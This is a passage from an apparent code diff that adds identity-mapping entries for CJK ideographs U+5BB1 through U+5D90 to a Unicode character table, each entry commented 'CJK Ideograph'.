+ ["\u5BB1", "\u5BB1"], /* CJK Ideograph */
+ ["\u5BB2", "\u5BB2"], /* CJK Ideograph */
+ ["\u5BB3", "\u5BB3"], /* CJK Ideograph */
+ ["\u5BB4", "\u5BB4"], /* CJK Ideograph */
+ ["\u5BB5", "\u5BB5"], /* CJK Ideograph */
+ ["\u5BB6", "\u5BB6"], /* CJK Ideograph */
+ ["\u5BB7", "\u5BB7"], /* CJK Ideograph */
+ ["\u5BB8", "\u5BB8"], /* CJK Ideograph */
+ ["\u5BB9", "\u5BB9"], /* CJK Ideograph */
+ ["\u5BBA", "\u5BBA"], /* CJK Ideograph */
+ ["\u5BBB", "\u5BBB"], /* CJK Ideograph */
+ ["\u5BBC", "\u5BBC"], /* CJK Ideograph */
+ ["\u5BBD", "\u5BBD"], /* CJK Ideograph */
+ ["\u5BBE", "\u5BBE"], /* CJK Ideograph */
+ ["\u5BBF", "\u5BBF"], /* CJK Ideograph */
+ ["\u5BC0", "\u5BC0"], /* CJK Ideograph */
+ ["\u5BC1", "\u5BC1"], /* CJK Ideograph */
+ ["\u5BC2", "\u5BC2"], /* CJK Ideograph */
+ ["\u5BC3", "\u5BC3"], /* CJK Ideograph */
+ ["\u5BC4", "\u5BC4"], /* CJK Ideograph */
+ ["\u5BC5", "\u5BC5"], /* CJK Ideograph */
+ ["\u5BC6", "\u5BC6"], /* CJK Ideograph */
+ ["\u5BC7", "\u5BC7"], /* CJK Ideograph */
+ ["\u5BC8", "\u5BC8"], /* CJK Ideograph */
+ ["\u5BC9", "\u5BC9"], /* CJK Ideograph */
+ ["\u5BCA", "\u5BCA"], /* CJK Ideograph */
+ ["\u5BCB", "\u5BCB"], /* CJK Ideograph */
+ ["\u5BCC", "\u5BCC"], /* CJK Ideograph */
+ ["\u5BCD", "\u5BCD"], /* CJK Ideograph */
+ ["\u5BCE", "\u5BCE"], /* CJK Ideograph */
+ ["\u5BCF", "\u5BCF"], /* CJK Ideograph */
+ ["\u5BD0", "\u5BD0"], /* CJK Ideograph */
+ ["\u5BD1", "\u5BD1"], /* CJK Ideograph */
+ ["\u5BD2", "\u5BD2"], /* CJK Ideograph */
+ ["\u5BD3", "\u5BD3"], /* CJK Ideograph */
+ ["\u5BD4", "\u5BD4"], /* CJK Ideograph */
+ ["\u5BD5", "\u5BD5"], /* CJK Ideograph */
+ ["\u5BD6", "\u5BD6"], /* CJK Ideograph */
+ ["\u5BD7", "\u5BD7"], /* CJK Ideograph */
+ ["\u5BD8", "\u5BD8"], /* CJK Ideograph */
+ ["\u5BD9", "\u5BD9"], /* CJK Ideograph */
+ ["\u5BDA", "\u5BDA"], /* CJK Ideograph */
+ ["\u5BDB", "\u5BDB"], /* CJK Ideograph */
+ ["\u5BDC", "\u5BDC"], /* CJK Ideograph */
+ ["\u5BDD", "\u5BDD"], /* CJK Ideograph */
+ ["\u5BDE", "\u5BDE"], /* CJK Ideograph */
+ ["\u5BDF", "\u5BDF"], /* CJK Ideograph */
+ ["\u5BE0", "\u5BE0"], /* CJK Ideograph */
+ ["\u5BE1", "\u5BE1"], /* CJK Ideograph */
+ ["\u5BE2", "\u5BE2"], /* CJK Ideograph */
+ ["\u5BE3", "\u5BE3"], /* CJK Ideograph */
+ ["\u5BE4", "\u5BE4"], /* CJK Ideograph */
+ ["\u5BE5", "\u5BE5"], /* CJK Ideograph */
+ ["\u5BE6", "\u5BE6"], /* CJK Ideograph */
+ ["\u5BE7", "\u5BE7"], /* CJK Ideograph */
+ ["\u5BE8", "\u5BE8"], /* CJK Ideograph */
+ ["\u5BE9", "\u5BE9"], /* CJK Ideograph */
+ ["\u5BEA", "\u5BEA"], /* CJK Ideograph */
+ ["\u5BEB", "\u5BEB"], /* CJK Ideograph */
+ ["\u5BEC", "\u5BEC"], /* CJK Ideograph */
+ ["\u5BED", "\u5BED"], /* CJK Ideograph */
+ ["\u5BEE", "\u5BEE"], /* CJK Ideograph */
+ ["\u5BEF", "\u5BEF"], /* CJK Ideograph */
+ ["\u5BF0", "\u5BF0"], /* CJK Ideograph */
+ ["\u5BF1", "\u5BF1"], /* CJK Ideograph */
+ ["\u5BF2", "\u5BF2"], /* CJK Ideograph */
+ ["\u5BF3", "\u5BF3"], /* CJK Ideograph */
+ ["\u5BF4", "\u5BF4"], /* CJK Ideograph */
+ ["\u5BF5", "\u5BF5"], /* CJK Ideograph */
+ ["\u5BF6", "\u5BF6"], /* CJK Ideograph */
+ ["\u5BF7", "\u5BF7"], /* CJK Ideograph */
+ ["\u5BF8", "\u5BF8"], /* CJK Ideograph */
+ ["\u5BF9", "\u5BF9"], /* CJK Ideograph */
+ ["\u5BFA", "\u5BFA"], /* CJK Ideograph */
+ ["\u5BFB", "\u5BFB"], /* CJK Ideograph */
+ ["\u5BFC", "\u5BFC"], /* CJK Ideograph */
+ ["\u5BFD", "\u5BFD"], /* CJK Ideograph */
+ ["\u5BFE", "\u5BFE"], /* CJK Ideograph */
+ ["\u5BFF", "\u5BFF"], /* CJK Ideograph */
+ ["\u5C00", "\u5C00"], /* CJK Ideograph */
+ ["\u5C01", "\u5C01"], /* CJK Ideograph */
+ ["\u5C02", "\u5C02"], /* CJK Ideograph */
+ ["\u5C03", "\u5C03"], /* CJK Ideograph */
+ ["\u5C04", "\u5C04"], /* CJK Ideograph */
+ ["\u5C05", "\u5C05"], /* CJK Ideograph */
+ ["\u5C06", "\u5C06"], /* CJK Ideograph */
+ ["\u5C07", "\u5C07"], /* CJK Ideograph */
+ ["\u5C08", "\u5C08"], /* CJK Ideograph */
+ ["\u5C09", "\u5C09"], /* CJK Ideograph */
+ ["\u5C0A", "\u5C0A"], /* CJK Ideograph */
+ ["\u5C0B", "\u5C0B"], /* CJK Ideograph */
+ ["\u5C0C", "\u5C0C"], /* CJK Ideograph */
+ ["\u5C0D", "\u5C0D"], /* CJK Ideograph */
+ ["\u5C0E", "\u5C0E"], /* CJK Ideograph */
+ ["\u5C0F", "\u5C0F"], /* CJK Ideograph */
+ ["\u5C10", "\u5C10"], /* CJK Ideograph */
+ ["\u5C11", "\u5C11"], /* CJK Ideograph */
+ ["\u5C12", "\u5C12"], /* CJK Ideograph */
+ ["\u5C13", "\u5C13"], /* CJK Ideograph */
+ ["\u5C14", "\u5C14"], /* CJK Ideograph */
+ ["\u5C15", "\u5C15"], /* CJK Ideograph */
+ ["\u5C16", "\u5C16"], /* CJK Ideograph */
+ ["\u5C17", "\u5C17"], /* CJK Ideograph */
+ ["\u5C18", "\u5C18"], /* CJK Ideograph */
+ ["\u5C19", "\u5C19"], /* CJK Ideograph */
+ ["\u5C1A", "\u5C1A"], /* CJK Ideograph */
+ ["\u5C1B", "\u5C1B"], /* CJK Ideograph */
+ ["\u5C1C", "\u5C1C"], /* CJK Ideograph */
+ ["\u5C1D", "\u5C1D"], /* CJK Ideograph */
+ ["\u5C1E", "\u5C1E"], /* CJK Ideograph */
+ ["\u5C1F", "\u5C1F"], /* CJK Ideograph */
+ ["\u5C20", "\u5C20"], /* CJK Ideograph */
+ ["\u5C21", "\u5C21"], /* CJK Ideograph */
+ ["\u5C22", "\u5C22"], /* CJK Ideograph */
+ ["\u5C23", "\u5C23"], /* CJK Ideograph */
+ ["\u5C24", "\u5C24"], /* CJK Ideograph */
+ ["\u5C25", "\u5C25"], /* CJK Ideograph */
+ ["\u5C26", "\u5C26"], /* CJK Ideograph */
+ ["\u5C27", "\u5C27"], /* CJK Ideograph */
+ ["\u5C28", "\u5C28"], /* CJK Ideograph */
+ ["\u5C29", "\u5C29"], /* CJK Ideograph */
+ ["\u5C2A", "\u5C2A"], /* CJK Ideograph */
+ ["\u5C2B", "\u5C2B"], /* CJK Ideograph */
+ ["\u5C2C", "\u5C2C"], /* CJK Ideograph */
+ ["\u5C2D", "\u5C2D"], /* CJK Ideograph */
+ ["\u5C2E", "\u5C2E"], /* CJK Ideograph */
+ ["\u5C2F", "\u5C2F"], /* CJK Ideograph */
+ ["\u5C30", "\u5C30"], /* CJK Ideograph */
+ ["\u5C31", "\u5C31"], /* CJK Ideograph */
+ ["\u5C32", "\u5C32"], /* CJK Ideograph */
+ ["\u5C33", "\u5C33"], /* CJK Ideograph */
+ ["\u5C34", "\u5C34"], /* CJK Ideograph */
+ ["\u5C35", "\u5C35"], /* CJK Ideograph */
+ ["\u5C36", "\u5C36"], /* CJK Ideograph */
+ ["\u5C37", "\u5C37"], /* CJK Ideograph */
+ ["\u5C38", "\u5C38"], /* CJK Ideograph */
+ ["\u5C39", "\u5C39"], /* CJK Ideograph */
+ ["\u5C3A", "\u5C3A"], /* CJK Ideograph */
+ ["\u5C3B", "\u5C3B"], /* CJK Ideograph */
+ ["\u5C3C", "\u5C3C"], /* CJK Ideograph */
+ ["\u5C3D", "\u5C3D"], /* CJK Ideograph */
+ ["\u5C3E", "\u5C3E"], /* CJK Ideograph */
+ ["\u5C3F", "\u5C3F"], /* CJK Ideograph */
+ ["\u5C40", "\u5C40"], /* CJK Ideograph */
+ ["\u5C41", "\u5C41"], /* CJK Ideograph */
+ ["\u5C42", "\u5C42"], /* CJK Ideograph */
+ ["\u5C43", "\u5C43"], /* CJK Ideograph */
+ ["\u5C44", "\u5C44"], /* CJK Ideograph */
+ ["\u5C45", "\u5C45"], /* CJK Ideograph */
+ ["\u5C46", "\u5C46"], /* CJK Ideograph */
+ ["\u5C47", "\u5C47"], /* CJK Ideograph */
+ ["\u5C48", "\u5C48"], /* CJK Ideograph */
+ ["\u5C49", "\u5C49"], /* CJK Ideograph */
+ ["\u5C4A", "\u5C4A"], /* CJK Ideograph */
+ ["\u5C4B", "\u5C4B"], /* CJK Ideograph */
+ ["\u5C4C", "\u5C4C"], /* CJK Ideograph */
+ ["\u5C4D", "\u5C4D"], /* CJK Ideograph */
+ ["\u5C4E", "\u5C4E"], /* CJK Ideograph */
+ ["\u5C4F", "\u5C4F"], /* CJK Ideograph */
+ ["\u5C50", "\u5C50"], /* CJK Ideograph */
+ ["\u5C51", "\u5C51"], /* CJK Ideograph */
+ ["\u5C52", "\u5C52"], /* CJK Ideograph */
+ ["\u5C53", "\u5C53"], /* CJK Ideograph */
+ ["\u5C54", "\u5C54"], /* CJK Ideograph */
+ ["\u5C55", "\u5C55"], /* CJK Ideograph */
+ ["\u5C56", "\u5C56"], /* CJK Ideograph */
+ ["\u5C57", "\u5C57"], /* CJK Ideograph */
+ ["\u5C58", "\u5C58"], /* CJK Ideograph */
+ ["\u5C59", "\u5C59"], /* CJK Ideograph */
+ ["\u5C5A", "\u5C5A"], /* CJK Ideograph */
+ ["\u5C5B", "\u5C5B"], /* CJK Ideograph */
+ ["\u5C5C", "\u5C5C"], /* CJK Ideograph */
+ ["\u5C5D", "\u5C5D"], /* CJK Ideograph */
+ ["\u5C5E", "\u5C5E"], /* CJK Ideograph */
+ ["\u5C5F", "\u5C5F"], /* CJK Ideograph */
+ ["\u5C60", "\u5C60"], /* CJK Ideograph */
+ ["\u5C61", "\u5C61"], /* CJK Ideograph */
+ ["\u5C62", "\u5C62"], /* CJK Ideograph */
+ ["\u5C63", "\u5C63"], /* CJK Ideograph */
+ ["\u5C64", "\u5C64"], /* CJK Ideograph */
+ ["\u5C65", "\u5C65"], /* CJK Ideograph */
+ ["\u5C66", "\u5C66"], /* CJK Ideograph */
+ ["\u5C67", "\u5C67"], /* CJK Ideograph */
+ ["\u5C68", "\u5C68"], /* CJK Ideograph */
+ ["\u5C69", "\u5C69"], /* CJK Ideograph */
+ ["\u5C6A", "\u5C6A"], /* CJK Ideograph */
+ ["\u5C6B", "\u5C6B"], /* CJK Ideograph */
+ ["\u5C6C", "\u5C6C"], /* CJK Ideograph */
+ ["\u5C6D", "\u5C6D"], /* CJK Ideograph */
+ ["\u5C6E", "\u5C6E"], /* CJK Ideograph */
+ ["\u5C6F", "\u5C6F"], /* CJK Ideograph */
+ ["\u5C70", "\u5C70"], /* CJK Ideograph */
+ ["\u5C71", "\u5C71"], /* CJK Ideograph */
+ ["\u5C72", "\u5C72"], /* CJK Ideograph */
+ ["\u5C73", "\u5C73"], /* CJK Ideograph */
+ ["\u5C74", "\u5C74"], /* CJK Ideograph */
+ ["\u5C75", "\u5C75"], /* CJK Ideograph */
+ ["\u5C76", "\u5C76"], /* CJK Ideograph */
+ ["\u5C77", "\u5C77"], /* CJK Ideograph */
+ ["\u5C78", "\u5C78"], /* CJK Ideograph */
+ ["\u5C79", "\u5C79"], /* CJK Ideograph */
+ ["\u5C7A", "\u5C7A"], /* CJK Ideograph */
+ ["\u5C7B", "\u5C7B"], /* CJK Ideograph */
+ ["\u5C7C", "\u5C7C"], /* CJK Ideograph */
+ ["\u5C7D", "\u5C7D"], /* CJK Ideograph */
+ ["\u5C7E", "\u5C7E"], /* CJK Ideograph */
+ ["\u5C7F", "\u5C7F"], /* CJK Ideograph */
+ ["\u5C80", "\u5C80"], /* CJK Ideograph */
+ ["\u5C81", "\u5C81"], /* CJK Ideograph */
+ ["\u5C82", "\u5C82"], /* CJK Ideograph */
+ ["\u5C83", "\u5C83"], /* CJK Ideograph */
+ ["\u5C84", "\u5C84"], /* CJK Ideograph */
+ ["\u5C85", "\u5C85"], /* CJK Ideograph */
+ ["\u5C86", "\u5C86"], /* CJK Ideograph */
+ ["\u5C87", "\u5C87"], /* CJK Ideograph */
+ ["\u5C88", "\u5C88"], /* CJK Ideograph */
+ ["\u5C89", "\u5C89"], /* CJK Ideograph */
+ ["\u5C8A", "\u5C8A"], /* CJK Ideograph */
+ ["\u5C8B", "\u5C8B"], /* CJK Ideograph */
+ ["\u5C8C", "\u5C8C"], /* CJK Ideograph */
+ ["\u5C8D", "\u5C8D"], /* CJK Ideograph */
+ ["\u5C8E", "\u5C8E"], /* CJK Ideograph */
+ ["\u5C8F", "\u5C8F"], /* CJK Ideograph */
+ ["\u5C90", "\u5C90"], /* CJK Ideograph */
+ ["\u5C91", "\u5C91"], /* CJK Ideograph */
+ ["\u5C92", "\u5C92"], /* CJK Ideograph */
+ ["\u5C93", "\u5C93"], /* CJK Ideograph */
+ ["\u5C94", "\u5C94"], /* CJK Ideograph */
+ ["\u5C95", "\u5C95"], /* CJK Ideograph */
+ ["\u5C96", "\u5C96"], /* CJK Ideograph */
+ ["\u5C97", "\u5C97"], /* CJK Ideograph */
+ ["\u5C98", "\u5C98"], /* CJK Ideograph */
+ ["\u5C99", "\u5C99"], /* CJK Ideograph */
+ ["\u5C9A", "\u5C9A"], /* CJK Ideograph */
+ ["\u5C9B", "\u5C9B"], /* CJK Ideograph */
+ ["\u5C9C", "\u5C9C"], /* CJK Ideograph */
+ ["\u5C9D", "\u5C9D"], /* CJK Ideograph */
+ ["\u5C9E", "\u5C9E"], /* CJK Ideograph */
+ ["\u5C9F", "\u5C9F"], /* CJK Ideograph */
+ ["\u5CA0", "\u5CA0"], /* CJK Ideograph */
+ ["\u5CA1", "\u5CA1"], /* CJK Ideograph */
+ ["\u5CA2", "\u5CA2"], /* CJK Ideograph */
+ ["\u5CA3", "\u5CA3"], /* CJK Ideograph */
+ ["\u5CA4", "\u5CA4"], /* CJK Ideograph */
+ ["\u5CA5", "\u5CA5"], /* CJK Ideograph */
+ ["\u5CA6", "\u5CA6"], /* CJK Ideograph */
+ ["\u5CA7", "\u5CA7"], /* CJK Ideograph */
+ ["\u5CA8", "\u5CA8"], /* CJK Ideograph */
+ ["\u5CA9", "\u5CA9"], /* CJK Ideograph */
+ ["\u5CAA", "\u5CAA"], /* CJK Ideograph */
+ ["\u5CAB", "\u5CAB"], /* CJK Ideograph */
+ ["\u5CAC", "\u5CAC"], /* CJK Ideograph */
+ ["\u5CAD", "\u5CAD"], /* CJK Ideograph */
+ ["\u5CAE", "\u5CAE"], /* CJK Ideograph */
+ ["\u5CAF", "\u5CAF"], /* CJK Ideograph */
+ ["\u5CB0", "\u5CB0"], /* CJK Ideograph */
+ ["\u5CB1", "\u5CB1"], /* CJK Ideograph */
+ ["\u5CB2", "\u5CB2"], /* CJK Ideograph */
+ ["\u5CB3", "\u5CB3"], /* CJK Ideograph */
+ ["\u5CB4", "\u5CB4"], /* CJK Ideograph */
+ ["\u5CB5", "\u5CB5"], /* CJK Ideograph */
+ ["\u5CB6", "\u5CB6"], /* CJK Ideograph */
+ ["\u5CB7", "\u5CB7"], /* CJK Ideograph */
+ ["\u5CB8", "\u5CB8"], /* CJK Ideograph */
+ ["\u5CB9", "\u5CB9"], /* CJK Ideograph */
+ ["\u5CBA", "\u5CBA"], /* CJK Ideograph */
+ ["\u5CBB", "\u5CBB"], /* CJK Ideograph */
+ ["\u5CBC", "\u5CBC"], /* CJK Ideograph */
+ ["\u5CBD", "\u5CBD"], /* CJK Ideograph */
+ ["\u5CBE", "\u5CBE"], /* CJK Ideograph */
+ ["\u5CBF", "\u5CBF"], /* CJK Ideograph */
+ ["\u5CC0", "\u5CC0"], /* CJK Ideograph */
+ ["\u5CC1", "\u5CC1"], /* CJK Ideograph */
+ ["\u5CC2", "\u5CC2"], /* CJK Ideograph */
+ ["\u5CC3", "\u5CC3"], /* CJK Ideograph */
+ ["\u5CC4", "\u5CC4"], /* CJK Ideograph */
+ ["\u5CC5", "\u5CC5"], /* CJK Ideograph */
+ ["\u5CC6", "\u5CC6"], /* CJK Ideograph */
+ ["\u5CC7", "\u5CC7"], /* CJK Ideograph */
+ ["\u5CC8", "\u5CC8"], /* CJK Ideograph */
+ ["\u5CC9", "\u5CC9"], /* CJK Ideograph */
+ ["\u5CCA", "\u5CCA"], /* CJK Ideograph */
+ ["\u5CCB", "\u5CCB"], /* CJK Ideograph */
+ ["\u5CCC", "\u5CCC"], /* CJK Ideograph */
+ ["\u5CCD", "\u5CCD"], /* CJK Ideograph */
+ ["\u5CCE", "\u5CCE"], /* CJK Ideograph */
+ ["\u5CCF", "\u5CCF"], /* CJK Ideograph */
+ ["\u5CD0", "\u5CD0"], /* CJK Ideograph */
+ ["\u5CD1", "\u5CD1"], /* CJK Ideograph */
+ ["\u5CD2", "\u5CD2"], /* CJK Ideograph */
+ ["\u5CD3", "\u5CD3"], /* CJK Ideograph */
+ ["\u5CD4", "\u5CD4"], /* CJK Ideograph */
+ ["\u5CD5", "\u5CD5"], /* CJK Ideograph */
+ ["\u5CD6", "\u5CD6"], /* CJK Ideograph */
+ ["\u5CD7", "\u5CD7"], /* CJK Ideograph */
+ ["\u5CD8", "\u5CD8"], /* CJK Ideograph */
+ ["\u5CD9", "\u5CD9"], /* CJK Ideograph */
+ ["\u5CDA", "\u5CDA"], /* CJK Ideograph */
+ ["\u5CDB", "\u5CDB"], /* CJK Ideograph */
+ ["\u5CDC", "\u5CDC"], /* CJK Ideograph */
+ ["\u5CDD", "\u5CDD"], /* CJK Ideograph */
+ ["\u5CDE", "\u5CDE"], /* CJK Ideograph */
+ ["\u5CDF", "\u5CDF"], /* CJK Ideograph */
+ ["\u5CE0", "\u5CE0"], /* CJK Ideograph */
+ ["\u5CE1", "\u5CE1"], /* CJK Ideograph */
+ ["\u5CE2", "\u5CE2"], /* CJK Ideograph */
+ ["\u5CE3", "\u5CE3"], /* CJK Ideograph */
+ ["\u5CE4", "\u5CE4"], /* CJK Ideograph */
+ ["\u5CE5", "\u5CE5"], /* CJK Ideograph */
+ ["\u5CE6", "\u5CE6"], /* CJK Ideograph */
+ ["\u5CE7", "\u5CE7"], /* CJK Ideograph */
+ ["\u5CE8", "\u5CE8"], /* CJK Ideograph */
+ ["\u5CE9", "\u5CE9"], /* CJK Ideograph */
+ ["\u5CEA", "\u5CEA"], /* CJK Ideograph */
+ ["\u5CEB", "\u5CEB"], /* CJK Ideograph */
+ ["\u5CEC", "\u5CEC"], /* CJK Ideograph */
+ ["\u5CED", "\u5CED"], /* CJK Ideograph */
+ ["\u5CEE", "\u5CEE"], /* CJK Ideograph */
+ ["\u5CEF", "\u5CEF"], /* CJK Ideograph */
+ ["\u5CF0", "\u5CF0"], /* CJK Ideograph */
+ ["\u5CF1", "\u5CF1"], /* CJK Ideograph */
+ ["\u5CF2", "\u5CF2"], /* CJK Ideograph */
+ ["\u5CF3", "\u5CF3"], /* CJK Ideograph */
+ ["\u5CF4", "\u5CF4"], /* CJK Ideograph */
+ ["\u5CF5", "\u5CF5"], /* CJK Ideograph */
+ ["\u5CF6", "\u5CF6"], /* CJK Ideograph */
+ ["\u5CF7", "\u5CF7"], /* CJK Ideograph */
+ ["\u5CF8", "\u5CF8"], /* CJK Ideograph */
+ ["\u5CF9", "\u5CF9"], /* CJK Ideograph */
+ ["\u5CFA", "\u5CFA"], /* CJK Ideograph */
+ ["\u5CFB", "\u5CFB"], /* CJK Ideograph */
+ ["\u5CFC", "\u5CFC"], /* CJK Ideograph */
+ ["\u5CFD", "\u5CFD"], /* CJK Ideograph */
+ ["\u5CFE", "\u5CFE"], /* CJK Ideograph */
+ ["\u5CFF", "\u5CFF"], /* CJK Ideograph */
+ ["\u5D00", "\u5D00"], /* CJK Ideograph */
+ ["\u5D01", "\u5D01"], /* CJK Ideograph */
+ ["\u5D02", "\u5D02"], /* CJK Ideograph */
+ ["\u5D03", "\u5D03"], /* CJK Ideograph */
+ ["\u5D04", "\u5D04"], /* CJK Ideograph */
+ ["\u5D05", "\u5D05"], /* CJK Ideograph */
+ ["\u5D06", "\u5D06"], /* CJK Ideograph */
+ ["\u5D07", "\u5D07"], /* CJK Ideograph */
+ ["\u5D08", "\u5D08"], /* CJK Ideograph */
+ ["\u5D09", "\u5D09"], /* CJK Ideograph */
+ ["\u5D0A", "\u5D0A"], /* CJK Ideograph */
+ ["\u5D0B", "\u5D0B"], /* CJK Ideograph */
+ ["\u5D0C", "\u5D0C"], /* CJK Ideograph */
+ ["\u5D0D", "\u5D0D"], /* CJK Ideograph */
+ ["\u5D0E", "\u5D0E"], /* CJK Ideograph */
+ ["\u5D0F", "\u5D0F"], /* CJK Ideograph */
+ ["\u5D10", "\u5D10"], /* CJK Ideograph */
+ ["\u5D11", "\u5D11"], /* CJK Ideograph */
+ ["\u5D12", "\u5D12"], /* CJK Ideograph */
+ ["\u5D13", "\u5D13"], /* CJK Ideograph */
+ ["\u5D14", "\u5D14"], /* CJK Ideograph */
+ ["\u5D15", "\u5D15"], /* CJK Ideograph */
+ ["\u5D16", "\u5D16"], /* CJK Ideograph */
+ ["\u5D17", "\u5D17"], /* CJK Ideograph */
+ ["\u5D18", "\u5D18"], /* CJK Ideograph */
+ ["\u5D19", "\u5D19"], /* CJK Ideograph */
+ ["\u5D1A", "\u5D1A"], /* CJK Ideograph */
+ ["\u5D1B", "\u5D1B"], /* CJK Ideograph */
+ ["\u5D1C", "\u5D1C"], /* CJK Ideograph */
+ ["\u5D1D", "\u5D1D"], /* CJK Ideograph */
+ ["\u5D1E", "\u5D1E"], /* CJK Ideograph */
+ ["\u5D1F", "\u5D1F"], /* CJK Ideograph */
+ ["\u5D20", "\u5D20"], /* CJK Ideograph */
+ ["\u5D21", "\u5D21"], /* CJK Ideograph */
+ ["\u5D22", "\u5D22"], /* CJK Ideograph */
+ ["\u5D23", "\u5D23"], /* CJK Ideograph */
+ ["\u5D24", "\u5D24"], /* CJK Ideograph */
+ ["\u5D25", "\u5D25"], /* CJK Ideograph */
+ ["\u5D26", "\u5D26"], /* CJK Ideograph */
+ ["\u5D27", "\u5D27"], /* CJK Ideograph */
+ ["\u5D28", "\u5D28"], /* CJK Ideograph */
+ ["\u5D29", "\u5D29"], /* CJK Ideograph */
+ ["\u5D2A", "\u5D2A"], /* CJK Ideograph */
+ ["\u5D2B", "\u5D2B"], /* CJK Ideograph */
+ ["\u5D2C", "\u5D2C"], /* CJK Ideograph */
+ ["\u5D2D", "\u5D2D"], /* CJK Ideograph */
+ ["\u5D2E", "\u5D2E"], /* CJK Ideograph */
+ ["\u5D2F", "\u5D2F"], /* CJK Ideograph */
+ ["\u5D30", "\u5D30"], /* CJK Ideograph */
+ ["\u5D31", "\u5D31"], /* CJK Ideograph */
+ ["\u5D32", "\u5D32"], /* CJK Ideograph */
+ ["\u5D33", "\u5D33"], /* CJK Ideograph */
+ ["\u5D34", "\u5D34"], /* CJK Ideograph */
+ ["\u5D35", "\u5D35"], /* CJK Ideograph */
+ ["\u5D36", "\u5D36"], /* CJK Ideograph */
+ ["\u5D37", "\u5D37"], /* CJK Ideograph */
+ ["\u5D38", "\u5D38"], /* CJK Ideograph */
+ ["\u5D39", "\u5D39"], /* CJK Ideograph */
+ ["\u5D3A", "\u5D3A"], /* CJK Ideograph */
+ ["\u5D3B", "\u5D3B"], /* CJK Ideograph */
+ ["\u5D3C", "\u5D3C"], /* CJK Ideograph */
+ ["\u5D3D", "\u5D3D"], /* CJK Ideograph */
+ ["\u5D3E", "\u5D3E"], /* CJK Ideograph */
+ ["\u5D3F", "\u5D3F"], /* CJK Ideograph */
+ ["\u5D40", "\u5D40"], /* CJK Ideograph */
+ ["\u5D41", "\u5D41"], /* CJK Ideograph */
+ ["\u5D42", "\u5D42"], /* CJK Ideograph */
+ ["\u5D43", "\u5D43"], /* CJK Ideograph */
+ ["\u5D44", "\u5D44"], /* CJK Ideograph */
+ ["\u5D45", "\u5D45"], /* CJK Ideograph */
+ ["\u5D46", "\u5D46"], /* CJK Ideograph */
+ ["\u5D47", "\u5D47"], /* CJK Ideograph */
+ ["\u5D48", "\u5D48"], /* CJK Ideograph */
+ ["\u5D49", "\u5D49"], /* CJK Ideograph */
+ ["\u5D4A", "\u5D4A"], /* CJK Ideograph */
+ ["\u5D4B", "\u5D4B"], /* CJK Ideograph */
+ ["\u5D4C", "\u5D4C"], /* CJK Ideograph */
+ ["\u5D4D", "\u5D4D"], /* CJK Ideograph */
+ ["\u5D4E", "\u5D4E"], /* CJK Ideograph */
+ ["\u5D4F", "\u5D4F"], /* CJK Ideograph */
+ ["\u5D50", "\u5D50"], /* CJK Ideograph */
+ ["\u5D51", "\u5D51"], /* CJK Ideograph */
+ ["\u5D52", "\u5D52"], /* CJK Ideograph */
+ ["\u5D53", "\u5D53"], /* CJK Ideograph */
+ ["\u5D54", "\u5D54"], /* CJK Ideograph */
+ ["\u5D55", "\u5D55"], /* CJK Ideograph */
+ ["\u5D56", "\u5D56"], /* CJK Ideograph */
+ ["\u5D57", "\u5D57"], /* CJK Ideograph */
+ ["\u5D58", "\u5D58"], /* CJK Ideograph */
+ ["\u5D59", "\u5D59"], /* CJK Ideograph */
+ ["\u5D5A", "\u5D5A"], /* CJK Ideograph */
+ ["\u5D5B", "\u5D5B"], /* CJK Ideograph */
+ ["\u5D5C", "\u5D5C"], /* CJK Ideograph */
+ ["\u5D5D", "\u5D5D"], /* CJK Ideograph */
+ ["\u5D5E", "\u5D5E"], /* CJK Ideograph */
+ ["\u5D5F", "\u5D5F"], /* CJK Ideograph */
+ ["\u5D60", "\u5D60"], /* CJK Ideograph */
+ ["\u5D61", "\u5D61"], /* CJK Ideograph */
+ ["\u5D62", "\u5D62"], /* CJK Ideograph */
+ ["\u5D63", "\u5D63"], /* CJK Ideograph */
+ ["\u5D64", "\u5D64"], /* CJK Ideograph */
+ ["\u5D65", "\u5D65"], /* CJK Ideograph */
+ ["\u5D66", "\u5D66"], /* CJK Ideograph */
+ ["\u5D67", "\u5D67"], /* CJK Ideograph */
+ ["\u5D68", "\u5D68"], /* CJK Ideograph */
+ ["\u5D69", "\u5D69"], /* CJK Ideograph */
+ ["\u5D6A", "\u5D6A"], /* CJK Ideograph */
+ ["\u5D6B", "\u5D6B"], /* CJK Ideograph */
+ ["\u5D6C", "\u5D6C"], /* CJK Ideograph */
+ ["\u5D6D", "\u5D6D"], /* CJK Ideograph */
+ ["\u5D6E", "\u5D6E"], /* CJK Ideograph */
+ ["\u5D6F", "\u5D6F"], /* CJK Ideograph */
+ ["\u5D70", "\u5D70"], /* CJK Ideograph */
+ ["\u5D71", "\u5D71"], /* CJK Ideograph */
+ ["\u5D72", "\u5D72"], /* CJK Ideograph */
+ ["\u5D73", "\u5D73"], /* CJK Ideograph */
+ ["\u5D74", "\u5D74"], /* CJK Ideograph */
+ ["\u5D75", "\u5D75"], /* CJK Ideograph */
+ ["\u5D76", "\u5D76"], /* CJK Ideograph */
+ ["\u5D77", "\u5D77"], /* CJK Ideograph */
+ ["\u5D78", "\u5D78"], /* CJK Ideograph */
+ ["\u5D79", "\u5D79"], /* CJK Ideograph */
+ ["\u5D7A", "\u5D7A"], /* CJK Ideograph */
+ ["\u5D7B", "\u5D7B"], /* CJK Ideograph */
+ ["\u5D7C", "\u5D7C"], /* CJK Ideograph */
+ ["\u5D7D", "\u5D7D"], /* CJK Ideograph */
+ ["\u5D7E", "\u5D7E"], /* CJK Ideograph */
+ ["\u5D7F", "\u5D7F"], /* CJK Ideograph */
+ ["\u5D80", "\u5D80"], /* CJK Ideograph */
+ ["\u5D81", "\u5D81"], /* CJK Ideograph */
+ ["\u5D82", "\u5D82"], /* CJK Ideograph */
+ ["\u5D83", "\u5D83"], /* CJK Ideograph */
+ ["\u5D84", "\u5D84"], /* CJK Ideograph */
+ ["\u5D85", "\u5D85"], /* CJK Ideograph */
+ ["\u5D86", "\u5D86"], /* CJK Ideograph */
+ ["\u5D87", "\u5D87"], /* CJK Ideograph */
+ ["\u5D88", "\u5D88"], /* CJK Ideograph */
+ ["\u5D89", "\u5D89"], /* CJK Ideograph */
+ ["\u5D8A", "\u5D8A"], /* CJK Ideograph */
+ ["\u5D8B", "\u5D8B"], /* CJK Ideograph */
+ ["\u5D8C", "\u5D8C"], /* CJK Ideograph */
+ ["\u5D8D", "\u5D8D"], /* CJK Ideograph */
+ ["\u5D8E", "\u5D8E"], /* CJK Ideograph */
+ ["\u5D8F", "\u5D8F"], /* CJK Ideograph */
+ ["\u5D90", "\u5D90"], /* CJK Ideograph */
